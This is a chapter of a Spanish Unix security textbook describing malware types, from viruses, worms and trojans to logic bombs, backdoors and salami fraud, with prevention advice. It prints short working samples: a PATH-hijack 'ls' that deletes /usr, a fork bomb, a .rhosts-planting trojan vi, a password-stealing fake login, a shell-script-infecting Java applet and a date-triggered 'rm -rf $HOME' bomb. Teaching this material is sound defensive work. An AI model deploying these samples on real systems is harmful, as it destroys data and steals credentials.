En el punto anterior hemos hablado de problemas de seguridad derivados de errores o descuidos a la hora de programar; sin embargo, no todas las amenazas lógicas provienen de simples errores: ciertos programas, denominados en su conjunto
malware o
software malicioso, son creados con la intención principal de atacar a la seguridad6.3. En esta sección vamos a hablar de algunos tipos de
malware, sus características y sus efectos potenciales.
Para prevenir casi todo el
software malicioso que pueda afectar a nuestros sistemas es necesaria una buena concienciación de los usuarios: bajo ningún concepto han de ejecutar
software que no provenga de fuentes fiables, especialmente programas descargados de páginas
underground o ficheros enviados a través de IRC. Evidentemente, esto se ha de aplicar - y con más rigor - al administrador de la máquina; si un usuario ejecuta un programa que contiene un virus o un troyano, es casi imposible que afecte al resto del sistema: en todo caso el propio usuario, o sus ficheros, serán los únicos perjudicados. Si es el
root quien ejecuta el programa contaminado, cualquier archivo del sistema puede contagiarse - virus - o las acciones destructivas del
malware - troyano - afectarán sin límites a todos los recursos del sistema. Aparte de descargar el
software de fuentes fiables, es recomendable utilizar las
`huellas' de todos los programas (generalmente resúmenes MD5 de los ficheros) para verificar que hemos bajado el archivo legítimo; también es preferible descargar el código fuente y compilar nosotros mismos los programas: aparte de cuestiones de eficiencia, siempre tenemos la posibilidad de revisar el código en busca de potenciales problemas de seguridad.
Otra medida de seguridad muy importante es la correcta asignación de la variable de entorno
$PATH, especialmente para el administrador del sistema. Esta variable está formada por todos los directorios en los que el
shell buscará comandos para ejecutarlos; podemos visualizar su contenido mediante la siguiente orden:
anita:~# echo $PATH
/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin:
/usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin
anita:~#
Cuando un usuario teclea una órden en la línea de comandos, el
shell busca en cada uno de estos directorios un ejecutable con el mismo nombre que el tecleado; si lo encuentra, lo ejecuta sin más, y si no lo encuentra se produce un mensaje de error (el clásico
`command not found'). Esta búsqueda se realiza en el orden en que aparecen los directorios del
$PATH: si por ejemplo se hubiera tecleado
`ls', en nuestro caso se buscaría en primer lugar
/sbin/ls; como - seguramente - no existirá, se pasará al siguiente directorio de la variable, esto es, se intentará ejecutar
/usr/sbin/ls. Este fichero tampoco ha de existir, por lo que se intentará de nuevo con
/bin/ls, la ubicación normal del programa, y se ejecutará este fichero.
>Qué problema hay con esta variable? Muy sencillo: para que sea mínimamente aceptable, ninguno de los directorios del
$PATH ha de poseer permiso de escritura para los usuarios normales; esto incluye evidentemente directorios como
/tmp/, pero también otro que a primera vista puede no tener mucho sentido: el directorio actual,
`.'. Imaginemos la siguiente situación: el
root de un sistema Unix tiene incluido en su variable
$PATH el directorio actual como uno más donde buscar ejecutables; esto es algo muy habitual por cuestiones de comodidad. Por ejemplo, la variable de entorno puede tener el siguiente contenido:
anita:~# echo $PATH
.:/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin:
/usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin
anita:~#
Si este administrador desea comprobar el contenido del directorio
/tmp/, o el de
$HOME de alguno de sus usuarios (recordemos, directorios donde pueden escribir), seguramente irá a dicho directorio y ejecutará un simple
ls. Pero, >qué sucede si el
`.' está en primer lugar en la variable
$PATH? El
shell buscará en primer lugar en el directorio actual, por ejemplo
/tmp/, de forma que si ahí existe un ejecutable denominado
`ls', se ejecutará sin más: teniendo en cuenta que cualquiera puede escribir en el directorio, ese programa puede tener el siguiente contenido:
anita:~# cat /tmp/ls
#!/bin/sh
rm -rf /usr/ &
anita:~#
Como podemos ver, un inocente
`ls' puede destruir parte del sistema de ficheros - o todo -, simplemente porque el administrador no ha tenido la precaución de eliminar de su
$PATH directorios donde los usuarios puedan escribir.
Seguramente alguien encontrará una solución - falsa - a este problema: si la cuestión reside en el orden de búsqueda, >por qué no poner el directorio actual al final del
$PATH, depués de todos los directorios fiables? De esta forma, el programa
./ls no se ejecutará nunca, ya que antes el
shell va a encontrar con toda seguridad al programa legítimo,
/bin/ls. Evidentemente esto es así, pero es fácil comprobar que el problema persiste: imaginemos que estamos en esa situación, y ahora tecleamos en
/tmp/ la orden
lsmore. No ocurrirá nada anormal, ya que tanto
`ls' como
`more' son programas que el
shell ejecutará antes de analizar
`.'. Pero, >qué pasaría si nos equivocamos al teclear, y en lugar de
`more' escribimos
`moer'? Al fin y al cabo, no es un ejemplo tan rebuscado, esto seguramente le ha pasado a cualquier usuario de Unix; si esto ocurre así, el intérprete de órdenes no encontrará ningún programa que se llame
`moer' en el
$PATH, por lo que se generará un mensaje de error...>Ninguno? >Y si un usuario ha creado
/tmp/moer, con un contenido similar al
/tmp/ls anterior? De nuevo nos encontramos ante el mismo problema: una orden tan inocente como esta puede afectar gravemente a la integridad de nuestras máquinas. Visto esto, parece claro que bajo ningún concepto se ha de tener un directorio en el que los usuarios puedan escribir, ni siquiera el directorio actual (
`.') en la variable
$PATH.
Virus
Un virus es una secuencia de código que se inserta en un fichero ejecutable denominado
host, de forma que al ejecutar el programa también se ejecuta el virus; generalmente esta ejecución implica la copia del código viral - o una modificación del mismo - en otros programas. El virus necesita obligatoriamente un programa donde insertarse para poderse ejecutar, por lo que no se puede considerar un programa o proceso independiente.
Durante años, un debate típico entre la comunidad de la seguridad informática es la existencia de virus en Unix ([Rad92], [Rad93], [Rad95]...). >Existen virus en este entorno, o por el contrario son un producto de otros sistemas en los que el concepto de seguridad se pierde? Realmente existen virus sobre plataformas Unix capaces de reproducirse e infectar ficheros, tanto ELF como
shellscripts: ya en 1983 Fred Cohen diseñó un virus que se ejecutaba con éxito sobre Unix en una VAX 11-750 ([Coh84]); años más tarde, en artículos como [Duf89] o [McI89] se ha mostrado incluso el código necesario para la infección.
Parece claro que la existencia de virus en Unix es algo sobradamente comprobado; entonces, >dónde está el debate? La discusión se centra en hasta qué punto un virus para Unix puede comprometer la seguridad del sistema; generalmente, la existencia de estos virus y sus efectos no suelen ser muy perjudiciales en los sistemas Unix de hoy en día. Se suele tratar de código escrito únicamente como curiosidad científica, ya que cualquier acción que realice un virus es en general más fácilmente realizable por otros medios como un simple
exploit; de hecho, uno de los primeros virus para Unix (en términos puristas se podría considerar un troyano más que un virus) fué creado por uno de los propios diseñadores del sistema operativo, Ken Thompson ([Tho84]), con el fin no de dañar al sistema, sino de mostrar hasta qué punto se puede confiar en el
software de una máquina.
Gusanos
El término gusano, acuñado en 1975 en la obra de ciencia ficción de John Brunner
The Shockwave Rider hace referencia a programas capaces de viajar por sí mismos a través de redes de computadores para realizar cualquier actividad una vez alcanzada una máquina; aunque esta actividad no tiene por qué entrañar peligro, los gusanos pueden instalar en el sistema alcanzado un virus, atacar a este sistema como haría un intruso, o simplemente consumir excesivas cantidades de ancho de banda en la red afectada. Aunque se trata de
malware muchísimo menos habitual que por ejemplo los virus o las puertas traseras, ya que escribir un gusano peligroso es una tarea muy difícil, los gusanos son una de las amenazas que potencialmente puede causar mayores daños: no debemos olvidar que el mayor incidente de seguridad de la historia de Unix e Internet fué a causa de un gusano (el famoso
Worm de 1988).
Antes del
Worm de Robert T. Morris existieron otros gusanos con fines muy diferentes; a principios de los setenta Bob Thomas escribió lo que muchos consideran el primer gusano informático. Este programa, denominado
`creeper', no era ni mucho menos
malware, sino que era utilizado en los aeropuertos por los controladores aéreos para notificar que el control de determinado avión había pasado de un ordenador a otro. Otros ejemplos de gusanos útiles fueron los desarrollados a principios de los ochenta por John Shoch y Jon Hupp, del centro de investigación de Xerox en Palo Alto, California; estos
worms se dedicaron a tareas como el intercambio de mensajes entre sistemas o el aprovechamiento de recursos ociosos durante la noche ([SH82]). Todo funcionaba aparentemente bien, hasta que una mañana al llegar al centro ningún ordenador funcionó debido a un error en uno de los gusanos; al reiniciar los sistemas, inmediatamente volvieron a fallar porque el gusano seguía trabajando, por lo que fué necesario diseñar una vacuna. Este es considerado el primer incidente de seguridad en el que entraban
worms en juego.
Sin embargo, no fué hasta 1988 cuando se produjo el primer incidente de seguridad `serio' provocado por un gusano, que a la larga se ha convertido en el primer problema de seguridad informática que saltó a los medios ([Mar88a], [Mar88b], [Roy88]...) y también en el más grave - civil, al menos - de todos los tiempos. El 2 de noviembre de ese año, Robert T. Morris saltó a la fama cuando uno de sus programas se convirtió en `el Gusano' con mayúsculas, en el
Worm de Internet. La principal causa del problema fué la filosofía
`Security through Obscurity' que muchos aún defienden hoy en día: este joven estudiante era hijo del prestigioso científico Robert Morris, experto en Unix y seguridad - entre otros lugares, ha trabajado por ejemplo para el
National Computer Security Center estadounidense -, quien conocía perfectamente uno de los muchos fallos en
Sendmail. No hizo público este fallo ni su solución, y su hijo aprovechó ese conocimiento para incorporarlo a su gusano (se puede leer parte de esta fascinante historia en [Sto89]). El
Worm aprovechaba varias vulnerabilidades en programas como
sendmail,
fingerd,
rsh y
rexecd ([See89]) para acceder a un sistema, contaminarlo, y desde él seguir actuando hacia otras máquinas (en [Spa88], [ER89] o [Spa91a] se pueden encontrar detalles concretos del funcionamiento de este gusano). En unas horas, miles de equipos conectados a la red dejaron de funcionar ([Spa89]), todos presentando una sobrecarga de procesos
sh (el nombre camuflado del gusano en los sistemas Unix); reiniciar el sistema no era ninguna solución, porque tras unos minutos de funcionamiento el sistema volvía a presentar el mismo problema.
Fueron necesarias muchas horas de trabajo para poder detener el
Worm de Robert T. Morris; expertos de dos grandes universidades norteamericanas, el MIT y Berkeley, fueron capaces de desensamblar el código y proporcionar una solución al problema. Junto a ellos, cientos de administradores y programadores de todo el mundo colaboraron ininterrumpidamente durante varios días para analizar cómo se habían contaminado y cuáles eran los efectos que el gusano había causado en sus sistemas. El día 8 de noviembre, casi una semana después del ataque, expertos en seguridad de casi todos los ámbitos de la vida estadounidense se reunieron para aclarar qué es lo que pasó exactamente, cómo se había resuelto, cuáles eran las consecuencias y cómo se podía evitar que sucediera algo parecido en el futuro; allí había desde investigadores del MIT o Berkeley hasta miembros de la CIA, el Departamento de Energía o el Laboratorio de Investigación Balística, pasando por supuesto por miembros del
National Computer Security Center, organizador del evento. Esta reunión, y el incidente en sí, marcaron un antes y un después en la historia de la seguridad informática; la sociedad en general y los investigadores en particular tomaron conciencia del grave problema que suponía un ataque de esa envergadura, y a partir de ahí comenzaron a surgir organizaciones como el CERT, encargadas de velar por la seguridad de los sistemas informáticos. También se determinaron medidas de prevención que siguen vigentes hoy en día, de forma que otros ataques de gusanos no han sido tan espectaculares: a finales de 1989 un gusano llamado
wank, que a diferencia del de Morris era destructivo, no tuvo ni de lejos las repercusiones que éste. Desde entonces, no ha habido ninguna noticia importante - al menos publicada por el CERT - de gusanos en entornos Unix.
Conejos
Los conejos o bacterias son programas que de forma directa no dañan al sistema, sino que se limitan a reproducirse, generalmente de forma exponencial, hasta que la cantidad de recursos consumidos (procesador, memoria, disco...) se convierte en una negación de servicio para el sistema afectado. Por ejemplo, imaginemos una máquina Unix sin una
quota de procesos establecida; cualquier usuario podría ejecutar un código como el siguiente:
main(){
while(1){
malloc(1024);
fork();
}
}
Este programa reservaría un kilobyte de memoria y a continuación crearía una copia de él mismo; el programa original y la copia repetirían estas acciones, generando cuatro copias en memoria que volverían a hacer lo mismo. Así, tras un intervalo de ejecución, el código anterior consumiría toda la memoria del sistema, pudiendo provocar incluso su parada.
La mejor forma de prevenir ataques de conejos (o simples errores en los programas, que hagan que éstos consuman excesivos recursos) es utilizar las facilidades que los núcleos de cualquier Unix moderno ofrecen para limitar los recursos que un determinado proceso o usuario puede llegar a consumir en nuestro sistema; en la sección tres se repasan algunos de los parámetros necesarios para realizar esta tarea sobre diversos clones del sistema Unix.
Caballos de Troya
En el libro VIII de La Odisea de Homero se cuenta la historia de que los griegos, tras mucho tiempo de asedio a la ciudad de Troya, decidieron construir un gran caballo de madera en cuyo interior se escondieron unos cuantos soldados; el resto del ejército griego abandonó el asedio dejando allí el caballo, y al darse cuenta de que el sitio a su ciudad había acabado, los troyanos salieron a inspeccionar ese gran caballo de madera. Lo tomaron como una muestra de su victoria y lo introdujeron tras las murallas de la ciudad sin darse cuenta de lo que realmente había en él. Cuando los troyanos estaban celebrando el fin del asedio, del interior del caballo salieron los soldados griegos, que abrieron las puertas de la ciudad al resto de su ejército - que había vuelto al lugar - y pudieron de esta forma conquistar la ciudad de Troya.
De la misma forma que el antiguo caballo de Troya de la mitología griega escondía en su interior algo que los troyanos desconocían, y que tenía una función muy diferente a la que ellos pensaban, un troyano o caballo de Troya actual es un programa que aparentemente realiza una función útil para quién lo ejecuta, pero que en realidad - o aparte - realiza una función que el usuario desconoce, generalmente dañina. Por ejemplo, un usuario que posea el suficiente privilegio en el sistema puede renombrar el editor
vi como
vi.old, y crear un programa denominado
vi como el siguiente:
#!/bin/sh
echo "++">$HOME/.rhosts
vi.old $1
Si esto sucede, cuando alguien trate de editar un fichero automáticamente va a crear un fichero
.rhosts en su directorio de usuario, que permitirá a un atacante acceder de una forma sencilla al sistema utilizando las órdenes
r- de Unix BSD.
Los troyanos son quizás el
malware más difundido en cualquier tipo de entorno ([KT97]), incluyendo por supuesto a Unix; sus variantes incluyen incluso ejemplos graciosos: ha habido casos en los que comenta un potencial problema de seguridad - real - en una lista de correo y se acompaña la descripción de un
shellscript que en principio aprovecha dicho problema para conseguir privilegios de
root. En ese
exploit se ha incluido, convenientemente camuflada, una sentencia similar a la siguiente:
echo "A'p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk| mail \
-s "`echo "A'p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk`" root
De esta forma, cuando un
script kiddie ejecute el programa para conseguir privilegios en el sistema, sin darse cuenta automáticamente lo estará notificando al administrador del mismo; evidentemente el
exploit suele ser falso y no da ningún privilegio adicional, simplemente sirve para que el
root sepa qué usuarios están `jugando' con la seguridad de sus máquinas.
Por desgracia, estos troyanos inofensivos no son los más comunes; existen también ejemplos de caballos de Troya dañinos: sin duda el ejemplo típico de troyano (tan típico que ha recibido un nombre especial:
trojan mule o mula de Troya ([Tom94])) es el falso programa de
login. Nada más encender una terminal de una máquina Unix aparece el clásico mensaje
`login:' solicitando nuestro nombre de usuario y contraseña, datos que con toda seguridad la persona que enciende este dispositivo tecleará para poder acceder al sistema. Pero, >qué sucedería si el programa que imprime el mensaje en pantalla es un troyano? Cualquier usuario del sistema puede crear un código que muestre un mensaje similar, guarde la información leída de teclado (el
login y el
password) e invoque después al programa
login original; tras la primera lectura, se mostrará el también clásico mensaje
`Login incorrect', de forma que el usuario pensará que ha tecleado mal sus datos - nada extraño, al fin y al cabo -. Cuando el programa original se ejecute, se permitirá el acceso al sistema y ese usuario no habrá notado nada anormal, pero alguien acaba de registrar su
login y su contraseña. Un troyano de este tipo es tan sencillo que se puede hacer - de forma simplificada - en unas pocas líneas de
shellscript:
luisa:~$ cat trojan
clear
printf "`uname -n` login: "
read login
stty -echonl -echo
printf "Password: "
read pass
echo "$login : $pass" >>/tmp/.claves
printf "\nLogin incorrect"
echo
exec /bin/login
luisa:~$
El atacante no necesita más que dejar lanzado el programa en varias terminales del sistema y esperar tranquilamente a que los usuarios vayan tecleando sus
logins y
passwords, que se guardarán en
/tmp/.claves; evidentemente este ejemplo de troyano es muy simple, pero es suficiente para hacernos una idea del perjuicio que estos programas pueden producir en una máquina Unix. En los últimos años han aparecido caballos de Troya mucho más elaborados en diversas utilidades de Unix, incluso en aplicaciones relacionadas con la seguridad como
TCP Wrappers; en [CER99] se pueden encontrar referencias a algunos de ellos.
La forma más fácil de descubrir caballos de Troya (aparte de sufrir sus efectos una vez activado) es comparar los ficheros bajo sospecha con una copia de los originales, copia que evidentemente se ha de haber efectuado antes de poner el sistema en funcionamiento y debe haber sido guardada en un lugar seguro, para evitar así que el atacante modifique también la versión de nuestro
backup. También es recomendable - como sucede con el resto de
malware - realizar resúmenes MD5 de nuestros programas y compararlos con los resúmenes originales; esto, que muchas veces es ignorado, puede ser una excelente solución para prevenir la amenaza de los caballos de Troya.
Applets hostiles
En los últimos años, con la proliferación de la
web, Java y Javascript, una nueva forma de
malware se ha hecho popular. Se trata de los denominados
applets hostiles,
applets que al ser descargados intentan monopolizar o explotar los recursos del sistema de una forma inapropiada ([MF96]); esto incluye desde ataques clásicos como negaciones de servicio o ejecución remota de programas en la máquina cliente hasta amenazas mucho más elaboradas, como difusión de virus, ruptura lógica de cortafuegos o utilización de recursos remotos para grandes cálculos científicos.
Como ejemplo de
applet hostil - aunque este en concreto no es muy peligroso - tenemos el siguiente código, obra de Mark D. LaDue (1996):
anita:~/Security# cat Homer.java
import java.io.*;
class Homer {
public static void main (String[] argv) {
try {
String userHome = System.getProperty("user.home");
String target = "$HOME";
FileOutputStream outer = new
FileOutputStream(userHome + "/.homer.sh");
String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
"echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
"for file in `find " + target + " -type f -print`" + "\n" + "do" +
"\n" + " case \"`sed 1q $file`\" in" + "\n" +
" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
" esac" + "\n" + "done" + "\n" +
"2>/dev/null";
byte[] buffer = new byte[homer.length()];
homer.getBytes(0, homer.length(), buffer, 0);
outer.write(buffer);
outer.close();
Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
userHome + "/.homer.sh");
Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
"/.homer.sh");
} catch (IOException ioe) {}
}
}
anita:~/Security#
Este programa infecta los sistemas Unix con un virus que contamina ficheros
shellscript; antes de hacerlo muestra el mensaje
`Java is safe, and UNIX viruses do not exist', para después localizar todos los ficheros
shell en el directorio
$HOME, comprobar cuáles están infectados, e infectar los que no lo están.
Aunque en un principio no se tomó muy en serio el problema de los
applets hostiles, poco tiempo después la propia
Sun Microsystems reconoció la problemática asociada y se puso a trabajar para minimizar los potenciales efectos de estos
applets; principalmente se han centrado esfuerzos en controlar la cantidad de recursos consumidos por un programa y en proporcionar las clases necesarias para que los propios navegadores monitoricen los
applets ejecutados. No obstante, aunque se solucionen los problemas de seguridad en el código, es probable que se puedan seguir utilizando
applets como una forma de ataque a los sistemas: mientras que estos programas puedan realizar conexiones por red, no habrán desaparecido los problemas.
Bombas lógicas
Las bombas lógicas son en cierta forma similares a los troyanos: se trata de código insertado en programas que parecen realizar cierta acción útil. Pero mientras que un troyano se ejecuta cada vez que se ejecuta el programa que lo contiene, una bomba lógica sólo se activa bajo ciertas condiciones, como una determinada fecha, la existencia de un fichero con un nombre dado, o el alcance de cierto número de ejecuciones del programa que contiene la bomba; así, una bomba lógica puede permanecer inactiva en el sistema durante mucho tiempo sin activarse y por tanto sin que nadie note un funcionamiento anómalo hasta que el daño producido por la bomba ya está hecho. Por ejemplo, imaginemos la misma situación que antes veíamos para el troyano: alguien con el suficiente privilegio renombra a
vi como
vi.old, y en el lugar del editor sitúa el siguiente código:
#!/bin/sh
if [ `date +%a` = "Sun" ];
then
rm -rf $HOME
else
vi.old $1
fi
Este cambio en el sistema puede permanecer durante años6.4 sin que se produzca un funcionamiento anómalo, siempre y cuando nadie edite ficheros un domingo; pero en el momento en que un usuario decida trabajar este día, la bomba lógica se va a activar y el directorio de este usuario será borrado.
Canales ocultos
Según [B+88] un canal oculto es un cauce de comunicación que permite a un proceso receptor y a un emisor intercambiar información de forma que viole la política de seguridad del sistema; esencialmente se trata de un método de comunicación que no es parte del diseño original del sistema pero que puede utilizarse para transferir información a un proceso o usuario que
a priori no estaría autorizado a acceder a dicha información. Los canales ocultos existen sólamente en sistemas con seguridad multinivel ([PN92]), aquellos que contienen y manejan información con diferentes niveles de sensibilidad, de forma que se permite acceder simultáneamente a varios usuarios a dicha información pero con diferentes puntos de vista de la misma, en función de sus privilegios y sus necesidades de conocimiento (
needs to know). El concepto de canal oculto fué introducido en 1973, en [Lam73], y desde entonces muchos han sido los estudios realizados sobre este método de ataque, que afecta especialmente a sistemas en los que el aspecto más importante de la seguridad es la privacidad de los datos (por ejemplo, los militares).
Generalmente se suelen clasificar los canales cubiertos en función de varios aspectos ([G+93]):
- Escenario
Cuando se construyen escenarios de canales cubiertos generalmente se suele diferenciar entre canales cubiertos de almacenamiento y de temporización ([Lip75]). Los primeros son canales en los que se utiliza la escritura directa o indirecta de datos por parte de un proceso y la lectura - también directa o indirecta - de esos datos por parte de otro; generalmente utilizan un recurso finito del sistema, como bloques de disco, que se comparte entre entidades con diferentes privilegios. Por contra, los canales ocultos de temporización utilizan la modulación de ciertos recursos, como el tiempo de CPU, para intercambiar la información entre procesos. En [G+93] se pueden encontrar ejemplos de ambos tipos de canales ocultos; otro buen ejemplo de covert channel se encuentra en [McH95].
- Ruido
Como cualquier canal de comunicación, oculto o no, los canales cubiertos pueden ser ruidosos o inmunes al ruido; idealmente, un canal inmune al ruido es aquél en que la probabilidad de que el receptor escuche exactamente lo que el emisor ha transmitido es 1: sin importar factores externos, no hay interferencias en la transmisión. Evidentemente, en la práctica es muy difícil conseguir estos canales tan perfectos, por lo que es habitual aplicar códigos de corrección de errores aunque éstos reduzcan el ancho de banda del canal.
- Flujos de información
De la misma forma que en las líneas convencionales de transmisión de datos se aplican técnicas (multiplexación en el tiempo, multiplexación en frecuencia...) para maximizar el ancho de banda efectivo, en los canales cubiertos se puede hacer algo parecido. A los canales en los que se transmiten varios flujos de información entre emisor y receptor se les denomina agregados, y dependiendo de cómo se inicialicen, lean y reseteen las variables enviadas podemos hablar de agregación serie, paralela o híbrida; los canales con un único flujo de información se llaman no agregados.
La preocupación por la presencia de canales ocultos es, como hemos dicho, habitual en sistemas de alta seguridad como los militares; de hecho, muchos de los estudios sobre ataques basados en canales cubiertos y su prevención han sido - y son - realizados por las clásicas agencias gubernamentales y militares estadounidenses (
National Security Agency,
US Air Force,
National Computer Security Center...). No obstante, también en entornos más `normales' es posible la existencia de canales ocultos, especialmente aprovechando debilidades de la pila de protocolos TCP/IP ([Rou96], [Row96]...).
El análisis y detección canales cubiertos es una tarea complicada que generalmente se basa en complejos modelos formales y matemáticos ([Wra91b], [MK94]...); diversas aproximaciones son utilizadas para el estudio de canales de temporización ([Hu91], [Wra91a]...), y también para el de canales de almacenamiento ([PK91]).
Puertas traseras
Las puertas traseras son trozos de código en un programa que permiten a quién conoce su funcionamiento saltarse los métodos usuales de autenticación para realizar cierta tarea. Habitualmente son insertados por los programadores para agilizar la tarea de probar su código durante la fase de desarrollo del mismo y se eliminan en el producto final, pero en ciertas situaciones el programador puede mantener estas puertas traseras en el programa funcional, ya sea deliberada o involuntariamente. Por ejemplo, imaginemos una aplicación que para realizar cualquier tarea de seguridad solicita a quien lo ejecuta cinco claves diferentes; evidentemente, durante la fase de desarrollo es muy incómodo para el programador teclear estas contraseñas antes de ver si el producto funciona correctamente, por lo que es muy común que esta persona decida incluir una rutina en el código de forma que si la primera clave proporcionada es una determinada no se soliciten las cuatro restantes. Esta situación, aceptable durante la fase de desarrollo, se convierte en una amenaza a la seguridad si se mantiene una vez el producto está instalado en un sistema
real: cualquiera que conozca la clave inicial puede saltarse todo el mecanismo de protección del programa.
Aparte de puertas traseras en los programas, es posible - y típico - situar puertas traseras en ciertos ficheros vitales para el sistema; generalmente, cuando un atacante consigue acceso a una máquina Unix desea mantener ese acceso aunque su penetración sea detectada. Por ejemplo, algo muy habitual es añadir un usuario con UID 0 en el fichero de claves, de forma que el pirata pueda seguir accediendo al sistema con ese nuevo
login aunque el administrador cierre la puerta que antes había utilizado para entrar. También es clásico añadir un nuevo servicio en un puerto no utilizado, de forma que haciendo
telnet a ese número de puerto se abra un
shell con privilegios de
root; incluso muchos atacantes utilizan la facilidad
cron para chequear periódicamente estos archivos e insertar las puertas traseras de nuevo en caso de que hayan sido borradas. >Qué hacer para evitar estos ataques? La prevención pasa por comprobar periódicamente la integridad de los archivos más importantes (ficheros de contraseñas,
spoolers, configuración de la red, programas del arranque de máquina...); también es conveniente rastrear la existencia de nuevos archivos
setuidados que puedan `aparecer' en los sistemas de ficheros: cualquier nuevo programa de estas características suele indicar un ataque exitoso, y una puerta trasera - generalmente un
shell setuidado - colocada en nuestra máquina. Los más paranoicos no deben olvidar efectuar una búsqueda bajo los dispositivos montados (existen utilidades para hacerlo), ya que un
find normal no suele encontrar ficheros
setuidados que se guarden en un directorio que es a su vez punto de montaje para otra unidad.
Superzapping
Este problema de seguridad deriva su nombre del programa
superzap, una utilidad de los antiguos
mainframes de IBM que permitía a quién lo ejecutaba pasar por alto todos los controles de seguridad para realizar cierta tarea administrativa, presumiblemente urgente; se trataba de un
`Rompa el cristal en caso de emergencia' que estos sistemas poseían, o de una llave maestra capaz de abrir todas las puertas. Obviamente, el problema sucede cuando la llave se pierde y un atacante la utiliza en beneficio propio.
Como es normal, este tipo de programas no suele encontrarse en los sistemas modernos por los graves problemas de seguridad que su existencia implica: imaginemos un
shell setuidado como
root y guardado en
/tmp/, de forma que si el sistema funciona anómalamente cualquiera puede ejecutarlo para solucionar el posible problema. Parece obvio que para un atacante sería un gran avance disponer de esta herramienta. De cualquier forma, no es habitual clasificar a los programas
superzap como
malware, ya que en principio se trata de aplicaciones legítimas, incluso necesarias en determinadas situaciones; es, como sucede en muchos casos, su mal uso y no el programa en sí lo que constituye una amenaza a la seguridad.
El ejemplo típico ([ISV95], [Par81]...) de problemas derivados del
superzapping es un caso ocurrido en Nueva Jersey que causó la pérdida de 128.000 dólares de los años setenta. El operador de un sistema bancario estaba utilizando un programa
superzap para corregir balances en el estado de las cuentas cuando un error simple le demostró lo fácil que podía modificar registros sin que el sistema de auditoría lo detectara; aprovechó esta situación para transferir dinero a tres cuentas, y dado que no dejó huellas la única forma de detectar el fraude fué la rápida reacción del banco ante la queja de un usuario - y un exhaustivo análisis del estado de todas las cuentas.
Programas salami
Las técnicas salami se utilizan para desviar pequeñas cantidades de bienes - generalmente dinero - de una fuente con un gran cantidad de los mismos; de la misma forma que de un salami se cortan pequeñas rodajas sin que el total sufra una reducción considerable, un programa salami roba pequeñas cantidades de dinero, de forma que su acción pasa inadvertida. Aunque su efecto es especialmente grave en entornos bancarios y no en sistemas habituales, en este trabajo vamos a hablar brevemente de los programas salami ya que se pueden utilizar para atacar equipos Unix dedicados a operaciones financieras, como la gestión de nóminas de personal o la asignación de becas.
El principal problema de los programas salami es que son extremadamente difíciles de detectar, y sólo una compleja auditoría de cuentas puede sacar a la luz estos fraudes. Si un programador es lo suficientemente inteligente como para insertar
malware de este tipo en los sistemas de un banco para el cual trabaja (si se tratara de un atacante externo la probabilidad de ataque sería casi despreciable), seguramente conoce a la perfección todos los entresijos de dicho banco, de forma que no le será difícil desviar fondos a cuentas que no son la suya, comprobar si se sobrepasa un cierto umbral en dichas cuentas - umbral a partir del cual el banco `se interesaría' por el propietario de la cuenta - o incluso utilizar nombres falsos o cuentas externas a las que desviar el dinero. Contra esto, una de las pocas soluciones consiste en vigilar de cerca las cuentas de los empleados y sus allegados, así como estar atentos a posibles cambios en su modo de vida: un coche de lujo de una persona con un sueldo normal, viajes caros, demasiadas ostentaciones...pueden ser signo de un fraude; evidentemente, es necesario consultar con un gabinete jurídico la legalidad o ilegalidad de estas acciones, que pueden constituir una invasión a la privacidad del trabajador. Por supuesto, la solución ideal sería comprobar línea a línea todo el
software del banco, pero pocos auditores tienen los conocimientos - y la paciencia - suficientes para realizar esta tarea.
Un caso particular de programa salami lo constituyen los programas de redondeo hacia abajo o
round down. Este fraude consiste en aprovechar cálculos de los sistemas bancarios que obtienen cantidades de dinero más pequeñas que la moneda de menor valor (en el caso de España, cantidades de céntimos); por ejemplo, imaginemos que alguien tiene ingresadas 123.523 pesetas a un interés del 2'5%; los créditos le reditarán un total de 3088'075 pesetas, que automáticamente para el banco se transformarán en 3088. Si esos 7'5 céntimos se acumulan en otro cálculo con cantidades igual de despreciables, se llegará tarde o temprano a un punto en el que la cantidad total de dinero sea lo suficientemente apetecible para un atacante dispuesto a aprovechar la situación. Si pensamos que millones de estos cálculos se realizan diariamente en todos los bancos de España, podemos hacernos una idea del poco tiempo que tardará la cuenta de un pirata en llenarse.